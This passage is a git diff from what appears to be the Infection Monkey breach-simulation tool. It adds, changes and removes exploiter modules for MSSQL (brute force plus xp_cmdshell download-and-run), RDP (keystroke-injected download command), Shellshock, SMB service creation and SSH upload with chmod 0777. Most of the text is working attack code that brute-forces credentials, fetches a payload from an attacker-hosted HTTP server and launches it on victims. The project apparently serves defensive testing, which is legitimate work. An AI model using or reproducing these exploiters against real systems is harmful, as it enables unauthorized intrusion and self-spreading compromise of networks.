+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
+        self.run_mssql_command(tmp_file_creation_command)
+
+    def run_mssql_command(self, mssql_command):
+        array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
+        if not array_of_commands:
+            raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
+        self.run_mssql_commands(array_of_commands)
+
+    def run_monkey(self):
+        monkey_launch_command = self.get_monkey_launch_command()
+        self.run_mssql_command(monkey_launch_command)
+        self.run_payload_file()
+
+    def run_mssql_commands(self, cmds):
+        for cmd in cmds:
+            self.cursor.execute(cmd)
+            sleep(MSSQLExploiter.QUERY_BUFFER)
+
+    def upload_monkey(self):
+        monkey_download_command = self.write_download_command_to_payload()
+        self.run_payload_file()
+        self.add_executed_cmd(monkey_download_command.command)
+
+    def remove_temp_dir(self):
+        # Remove temporary dir we stored payload at
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
+        self.run_mssql_command(tmp_file_removal_command)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+        self.run_mssql_command(tmp_dir_removal_command)
+
+    def start_monkey_server(self):
+        self.monkey_server = MonkeyHTTPServer(self.host)
+        self.monkey_server.start()
+
+    def stop_monkey_server(self):
+        self.monkey_server.stop()
+
+    def write_download_command_to_payload(self):
+        monkey_download_command = self.get_monkey_download_command()
+        self.run_mssql_command(monkey_download_command)
+        return monkey_download_command
+
+    def get_monkey_launch_command(self):
+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+        # Form monkey's launch command
+        monkey_args = build_monkey_commandline(self.host,
+                                               get_monkey_depth() - 1,
+                                               dst_path)
+        suffix = ">>{}".format(self.payload_file_path)
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
+                                       prefix=prefix,
+                                       suffix=suffix)
+
+    def get_monkey_download_command(self):
+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+            format(http_path=self.monkey_server.http_path, dst_path=dst_path)
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+        return MSSQLLimitedSizePayload(command=monkey_download_command,
+                                       suffix=suffix,
+                                       prefix=prefix)
+
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
-            Starts the brute force connection attempts and if needed then init the payload process.
-            Main loop starts here.
+        Starts the brute force connection attempts and if needed then init the payload process.
+        Main loop starts here.
 
-            Args:
-                host (str): Host ip address
-                port (str): Tcp port that the host listens to
-                users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
+        Args:
+            host (str): Host ip address
+            port (str): Tcp port that the host listens to
+            users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
 
-            Return:
-                True or False depends if the whole bruteforce and attack process was completed successfully or not
-            """
+        Return:
+            True or False depends if the whole bruteforce and attack process was completed successfully or not
+        """
         # Main loop
         # Iterates on users list
         for user, password in users_passwords_pairs_list:
@@ -123,8 +172,9 @@ class MSSQLExploiter(HostExploiter):
                 # Core steps
                 # Trying to connect
                 conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
-                LOG.info('Successfully connected to host: {0}, ' 
-                         'using user: {1}, password: {2}'.format(host, user, password))
+                LOG.info(
+                    'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
+                        host, user, self._config.hash_sensitive_data(password)))
                 self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
                 self.report_login_attempt(True, user, password)
                 cursor = conn.cursor()
@@ -136,4 +186,12 @@ class MSSQLExploiter(HostExploiter):
 
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
-        return None
+        raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
+
+
+class MSSQLLimitedSizePayload(LimitedSizePayload):
+    def __init__(self, command, prefix="", suffix=""):
+        super(MSSQLLimitedSizePayload, self).__init__(command=command,
+                                                      max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
+                                                      prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
+                                                      suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
deleted file mode 100644
index ed64736ac..000000000
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ /dev/null
@@ -1,347 +0,0 @@
-import os.path
-import threading
-import time
-from logging import getLogger
-
-import rdpy.core.log as rdpy_log
-import twisted.python.log
-from rdpy.core.error import RDPSecurityNegoFail
-from rdpy.protocol.rdp import rdp
-from twisted.internet import reactor
-
-from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
-from infection_monkey.exploit.tools import get_target_monkey
-from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
-from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
-from infection_monkey.utils import utf_to_ascii
-from common.utils.exploit_enum import ExploitType
-from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
-
-__author__ = 'hoffer'
-
-KEYS_INTERVAL = 0.1
-MAX_WAIT_FOR_UPDATE = 120
-KEYS_SENDER_SLEEP = 0.01
-DOWNLOAD_TIMEOUT = 60
-RDP_PORT = 3389
-LOG = getLogger(__name__)
-
-
-def twisted_log_func(*message, **kw):
-    if kw.get('isError'):
-        error_msg = 'Unknown'
-        if 'failure' in kw:
-            error_msg = kw['failure'].getErrorMessage()
-        LOG.error("Error from twisted library: %s" % (error_msg,))
-    else:
-        LOG.debug("Message from twisted library: %s" % (str(message),))
-
-
-def rdpy_log_func(message):
-    LOG.debug("Message from rdpy library: %s" % (message,))
-
-
-twisted.python.log.msg = twisted_log_func
-rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
-rdpy_log.log = rdpy_log_func
-
-# thread for twisted reactor, create once.
-global g_reactor
-g_reactor = threading.Thread(target=reactor.run, args=(False,))
-
-
-class ScanCodeEvent(object):
-    def __init__(self, code, is_pressed=False, is_special=False):
-        self.code = code
-        self.is_pressed = is_pressed
-        self.is_special = is_special
-
-
-class CharEvent(object):
-    def __init__(self, char, is_pressed=False):
-        self.char = char
-        self.is_pressed = is_pressed
-
-
-class SleepEvent(object):
-    def __init__(self, interval):
-        self.interval = interval
-
-
-class WaitUpdateEvent(object):
-    def __init__(self, updates=1):
-        self.updates = updates
-        pass
-
-
-def str_to_keys(orig_str):
-    result = []
-    for c in orig_str:
-        result.append(CharEvent(c, True))
-        result.append(CharEvent(c, False))
-        result.append(WaitUpdateEvent())
-    return result
-
-
-class KeyPressRDPClient(rdp.RDPClientObserver):
-    def __init__(self, controller, keys, width, height, addr):
-        super(KeyPressRDPClient, self).__init__(controller)
-        self._keys = keys
-        self._addr = addr
-        self._update_lock = threading.Lock()
-        self._wait_update = False
-        self._keys_thread = threading.Thread(target=self._keysSender)
-        self._keys_thread.daemon = True
-        self._width = width
-        self._height = height
-        self._last_update = 0
-        self.closed = False
-        self.success = False
-        self._wait_for_update = None
-
-    def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
-        update_time = time.time()
-        self._update_lock.acquire()
-        self._last_update = update_time
-        self._wait_for_update = False
-        self._update_lock.release()
-
-    def _keysSender(self):
-        LOG.debug("Starting to send keystrokes")
-        while True:
-
-            if self.closed:
-                return
-
-            if len(self._keys) == 0:
-                reactor.callFromThread(self._controller.close)
-                LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
-                return
-
-            key = self._keys[0]
-
-            self._update_lock.acquire()
-            time_diff = time.time() - self._last_update
-            if isinstance(key, WaitUpdateEvent):
-                self._wait_for_update = True
-                self._update_lock.release()
-                key.updates -= 1
-                if key.updates == 0:
-                    self._keys = self._keys[1:]
-            elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
-                self._wait_for_update = False
-                self._update_lock.release()
-                if isinstance(key, ScanCodeEvent):
-                    reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
-                                           key.is_special)
-                elif isinstance(key, CharEvent):
-                    reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
-                elif isinstance(key, SleepEvent):
-                    time.sleep(key.interval)
-
-                self._keys = self._keys[1:]
-            else:
-                self._update_lock.release()
-                time.sleep(KEYS_SENDER_SLEEP)
-
-    def onReady(self):
-        time.sleep(1)
-        reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
-        time.sleep(1)
-        reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
-        time.sleep(1)
-        pass
-
-    def onClose(self):
-        self.success = len(self._keys) == 0
-        self.closed = True
-
-    def onSessionReady(self):
-        LOG.debug("Logged in, session is ready for work")
-        self._last_update = time.time()
-        self._keys_thread.start()
-
-
-class CMDClientFactory(rdp.ClientFactory):
-    def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
-        self._username = username
-        self._password = password
-        self._domain = domain
-        self._keyboard_layout = "en"
-        # key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
-        self._keys = [SleepEvent(1),
-                      ScanCodeEvent(91, True, True),
-                      ScanCodeEvent(19, True),
-                      ScanCodeEvent(19, False),
-                      ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
-                     [WaitUpdateEvent(), ScanCodeEvent(28, True),
-                      ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
-                     [WaitUpdateEvent(), ScanCodeEvent(28, True),
-                      ScanCodeEvent(28, False), WaitUpdateEvent()]
-        self._optimized = optimized
-        self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
-        self._nego = True
-        self._client = None
-        self._width = width
-        self._height = height
-        self.done_event = threading.Event()
-        self.success = False
-
-    def buildObserver(self, controller, addr):
-        """
-        @summary:  Build RFB observer
-                    We use a RDPClient as RDP observer
-        @param controller: build factory and needed by observer
-        @param addr: destination address
-        @return: RDPClientQt
-        """
-
-        # create client observer
-        self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
-
-        controller.setUsername(self._username)
-        controller.setPassword(self._password)
-        controller.setDomain(self._domain)
-        controller.setKeyboardLayout(self._keyboard_layout)
-        controller.setHostname(addr.host)
-        if self._optimized:
-            controller.setPerformanceSession()
-        controller.setSecurityLevel(self._security)
-
-        return self._client
-
-    def clientConnectionLost(self, connector, reason):
-        # try reconnect with basic RDP security
-        if reason.type == RDPSecurityNegoFail and self._nego:
-            LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
-                      (connector.host, connector.port))
-            # stop nego
-            self._nego = False
-            self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
-            connector.connect()
-            return
-
-        LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
-        self.success = self._client.success
-        self.done_event.set()
-
-    def clientConnectionFailed(self, connector, reason):
-        LOG.debug("RDP connection to %s:%s failed, with error: %s" %
-                  (connector.host, connector.port, reason.getErrorMessage()))
-        self.success = False
-        self.done_event.set()
-
-
-class RdpExploiter(HostExploiter):
-
-    _TARGET_OS_TYPE = ['windows']
-    EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
-    _EXPLOITED_SERVICE = 'RDP'
-
-    def __init__(self, host):
-        super(RdpExploiter, self).__init__(host)
-
-    def is_os_supported(self):
-        if super(RdpExploiter, self).is_os_supported():
-            return True
-
-        if not self.host.os.get('type'):
-            is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
-            if is_open:
-                self.host.os['type'] = 'windows'
-                return True
-        return False
-
-    def _exploit_host(self):
-        global g_reactor
-
-        is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
-        if not is_open:
-            LOG.info("RDP port is closed on %r, skipping", self.host)
-            return False
-
-        src_path = get_target_monkey(self.host)
-
-        if not src_path:
-            LOG.info("Can't find suitable monkey executable for host %r", self.host)
-            return False
-
-        # create server for http download.
-        http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-
-        if not http_path:
-            LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
-            return False
-
-        LOG.info("Started http server on %s", http_path)
-
-        cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
-
-        if self._config.rdp_use_vbs_download:
-            command = RDP_CMDLINE_HTTP_VBS % {
-                'monkey_path': self._config.dropper_target_path_win_32,
-                'http_path': http_path, 'parameters': cmdline}
-        else:
-            command = RDP_CMDLINE_HTTP_BITS % {
-                'monkey_path': self._config.dropper_target_path_win_32,
-                'http_path': http_path, 'parameters': cmdline}
-
-        user_password_pairs = self._config.get_exploit_user_password_pairs()
-
-        if not g_reactor.is_alive():
-            g_reactor.daemon = True
-            g_reactor.start()
-
-        exploited = False
-        for user, password in user_password_pairs:
-            try:
-                # run command using rdp.
-                LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
-                         self.host, user, password)
-
-                LOG.info("RDP connected to %r", self.host)
-
-                user = utf_to_ascii(user)
-                password = utf_to_ascii(password)
-                command = utf_to_ascii(command)
-
-                client_factory = CMDClientFactory(user, password, "", command)
-
-                reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
-
-                client_factory.done_event.wait()
-
-                if client_factory.success:
-                    if not self._config.rdp_use_vbs_download:
-                        T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
-                    self.add_vuln_port(RDP_PORT)
-                    exploited = True
-                    self.report_login_attempt(True, user, password)
-                    break
-                else:
-                    # failed exploiting with this user/pass
-                    self.report_login_attempt(False, user, password)
-
-            except Exception as exc:
-                LOG.debug("Error logging into victim %r with user"
-                          " %s and password '%s': (%s)", self.host,
-                          user, password, exc)
-                continue
-
-        http_thread.join(DOWNLOAD_TIMEOUT)
-        http_thread.stop()
-
-        if not exploited:
-            LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
-            return False
-        elif http_thread.downloads == 0:
-            LOG.debug("Exploiter RdpGrinder failed, http download failed.")
-            return False
-
-        LOG.info("Executed monkey '%s' on remote victim %r",
-                 os.path.basename(src_path), self.host)
-        self.add_executed_cmd(command)
-        return True
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index b7c168f01..762cc14b5 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
 from infection_monkey.exploit import HostExploiter
 from infection_monkey.model import DROPPER_ARG
 from infection_monkey.network.smbfinger import SMB_SERVICE
-from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
 from infection_monkey.pyinstaller_utils import get_binary_file_path
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
 
 __author__ = 'itay.mizeretz'
 
@@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
 
         with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
             smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
-
+        T1105Telem(ScanStatus.USED,
+                   get_interface_to_target(self.host.ip_addr),
+                   self.host.ip_addr,
+                   monkey_bin_64_src_path).send()
         smb_client.disconnectTree(tree_id)
 
     def trigger_module(self, smb_client, share):
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c
diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
similarity index 100%
rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h
rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 0e05149e7..7276f0388 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -6,11 +6,13 @@ from random import choice
 
 import requests
 
+from common.utils.attack_utils import ScanStatus
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
 from infection_monkey.model import DROPPER_ARG
 from infection_monkey.exploit.shellshock_resources import CGI_FILES
-from infection_monkey.exploit.tools import build_monkey_commandline
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
 
 __author__ = 'danielg'
 
@@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
 TIMEOUT = 2
 TEST_COMMAND = '/bin/uname -a'
 DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
 
 
 class ShellShockExploiter(HostExploiter):
@@ -106,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
+            if not self._create_lock_file(exploit, url, header):
+                LOG.info("Another monkey is running shellshock exploit")
+                return True
+
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
             if not http_path:
@@ -122,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
+            self._remove_lock_file(exploit, url, header)
+
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
                 LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@@ -131,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
             chmod = '/bin/chmod +x %s' % dropper_target_path_linux
             run_path = exploit + chmod
             self.attack_page(url, header, run_path)
+            T1222Telem(ScanStatus.USED, chmod, self.host).send()
 
             # run the monkey
             cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
@@ -179,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
+    def _create_lock_file(self, exploit, url, header):
+        if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+            return False
+        cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+        return True
+
+    def _remove_lock_file(self, exploit, url, header):
+        cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+
     @staticmethod
     def attack_page(url, header, attack):
         result = ""
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 4646d7dd2..ee84fa847 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
 from impacket.smbconnection import SMB_DIALECT
 
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.smb_tools import SmbTools
 from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
 from infection_monkey.network import SMBFinger
 from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
 from common.utils.exploit_enum import ExploitType
+from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
 
 LOG = getLogger(__name__)
 
@@ -66,8 +68,8 @@ class SmbExploiter(HostExploiter):
                                                       self._config.smb_download_timeout)
 
                 if remote_full_path is not None:
-                    LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
-                              self.host, user, password, lm_hash, ntlm_hash)
+                    LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)",
+                              self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash)
                     self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                     self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
                                                      SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
@@ -79,8 +81,8 @@ class SmbExploiter(HostExploiter):
 
             except Exception as exc:
                 LOG.debug("Exception when trying to copy file using SMB to %r with user:"
-                          " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
-                          user, password, lm_hash, ntlm_hash, exc)
+                          " %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
+                          user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc)
                 continue
 
         if not exploited:
@@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
         resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                      lpBinaryPathName=cmdline)
         service = resp['lpServiceHandle']
-
         try:
             scmr.hRStartServiceW(scmr_rpc, service)
+            status = ScanStatus.USED
         except:
+            status = ScanStatus.SCANNED
             pass
+        T1035Telem(status, UsageEnum.SMB).send()
         scmr.hRDeleteService(scmr_rpc, service)
         scmr.hRCloseServiceHandle(scmr_rpc, service)
 
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index ff979d6e7..ffd584d24 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -1,16 +1,20 @@
+import StringIO
 import logging
 import time
 
 import paramiko
-import io
 
 import infection_monkey.monkeyfs as monkeyfs
+from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
+from infection_monkey.exploit.tools.helpers import get_interface_to_target
 from infection_monkey.model import MONKEY_ARG
 from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
 from common.utils.exploit_enum import ExploitType
+from common.utils.attack_utils import ScanStatus
+from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
+from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
 
 __author__ = 'hoffer'
 
@@ -41,7 +45,7 @@ class SSHExploiter(HostExploiter):
 
         for user, ssh_key_pair in user_ssh_key_pairs:
             # Creating file-like private key for paramiko
-            pkey = io.StringIO(ssh_key_pair['private_key'])
+            pkey = StringIO.StringIO(ssh_key_pair['private_key'])
             ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
             try:
                 pkey = paramiko.RSAKey.from_private_key(pkey)
@@ -71,26 +75,26 @@ class SSHExploiter(HostExploiter):
 
         exploited = False
 
-        for user, curpass in user_password_pairs:
+        for user, current_password in user_password_pairs:
             try:
                 ssh.connect(self.host.ip_addr,
                             username=user,
-                            password=curpass,
+                            password=current_password,
                             port=port,
                             timeout=None)
 
-                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
-                          self.host, user, curpass)
+                LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
+                          self.host, user, self._config.hash_sensitive_data(current_password))
                 exploited = True
                 self.add_vuln_port(port)
-                self.report_login_attempt(True, user, curpass)
+                self.report_login_attempt(True, user, current_password)
                 break
 
             except Exception as exc:
                 LOG.debug("Error logging into victim %r with user"
-                          " %s and password '%s': (%s)", self.host,
-                          user, curpass, exc)
-                self.report_login_attempt(False, user, curpass)
+                          " %s and password (SHA-512) '%s': (%s)", self.host,
+                          user, self._config.hash_sensitive_data(current_password), exc)
+                self.report_login_attempt(False, user, current_password)
                 continue
         return exploited
 
@@ -100,7 +104,7 @@ class SSHExploiter(HostExploiter):
 
         port = SSH_PORT
         # if ssh banner found on different port, use that port.
-        for servkey, servdata in list(self.host.services.items()):
+        for servkey, servdata in self.host.services.items():
             if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                 port = int(servkey.replace('tcp-', ''))
 
@@ -109,7 +113,7 @@ class SSHExploiter(HostExploiter):
             LOG.info("SSH port is closed on %r, skipping", self.host)
             return False
 
-        #Check for possible ssh exploits
+        # Check for possible ssh exploits
         exploited = self.exploit_with_ssh_keys(port, ssh)
         if not exploited:
             exploited = self.exploit_with_login_creds(port, ssh)
@@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
                 ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                           callback=self.log_transfer)
                 ftp.chmod(self._config.dropper_target_path_linux, 0o777)
-
+                status = ScanStatus.USED
+                T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
             ftp.close()
         except Exception as exc:
             LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
+            status = ScanStatus.SCANNED
+
+        T1105Telem(status,
+                   get_interface_to_target(self.host.ip_addr),
+                   self.host.ip_addr,
+                   src_path).send()
+        if status == ScanStatus.SCANNED:
             return False
 
         try:
diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py
deleted file mode 100644
index 152205d70..000000000
--- a/monkey/infection_monkey/exploit/tools.py
+++ /dev/null
@@ -1,536 +0,0 @@
-import logging
-import ntpath
-import os
-import os.path
-import pprint
-import socket
-import struct
-import sys
-import urllib.request, urllib.parse, urllib.error
-
-from impacket.dcerpc.v5 import transport, srvs
-from impacket.dcerpc.v5.dcom import wmi
-from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
-from impacket.smbconnection import SMBConnection, SMB_DIALECT
-
-import infection_monkey.config
-import infection_monkey.monkeyfs as monkeyfs
-from infection_monkey.network.firewall import app as firewall
-from infection_monkey.network.info import get_free_tcp_port, get_routes
-from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from threading import Lock
-
-
-class DceRpcException(Exception):
-    pass
-
-
-__author__ = 'itamar'
-
-LOG = logging.getLogger(__name__)
-
-
-class AccessDeniedException(Exception):
-    def __init__(self, host, username, password, domain):
-        super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
-                                                    (host, domain, username, password))
-
-
-class WmiTools(object):
-    class WmiConnection(object):
-        def __init__(self):
-            self._dcom = None
-            self._iWbemServices = None
-
-        @property
-        def connected(self):
-            return self._dcom is not None
-
-        def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
-            if not domain:
-                domain = host.ip_addr
-
-            dcom = DCOMConnection(host.ip_addr,
-                                  username=username,
-                                  password=password,
-                                  domain=domain,
-                                  lmhash=lmhash,
-                                  nthash=nthash,
-                                  oxidResolver=True)
-
-            try:
-                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
-                                                     wmi.IID_IWbemLevel1Login)
-            except Exception as exc:
-                dcom.disconnect()
-
-                if "rpc_s_access_denied" == exc.message:
-                    raise AccessDeniedException(host, username, password, domain)
-
-                raise
-
-            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
-
-            try:
-                self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
-                self._dcom = dcom
-            except:
-                dcom.disconnect()
-
-                raise
-            finally:
-                iWbemLevel1Login.RemRelease()
-
-        def close(self):
-            assert self.connected, "WmiConnection isn't connected"
-
-            self._iWbemServices.RemRelease()
-            self._iWbemServices = None
-
-            self._dcom.disconnect()
-            self._dcom = None
-
-    @staticmethod
-    def dcom_wrap(func):
-        def _wrapper(*args, **kwarg):
-            try:
-                return func(*args, **kwarg)
-            finally:
-                WmiTools.dcom_cleanup()
-
-        return _wrapper
-
-    @staticmethod
-    def dcom_cleanup():
-        for port_map in list(DCOMConnection.PORTMAPS.keys()):
-            del DCOMConnection.PORTMAPS[port_map]
-        for oid_set in list(DCOMConnection.OID_SET.keys()):
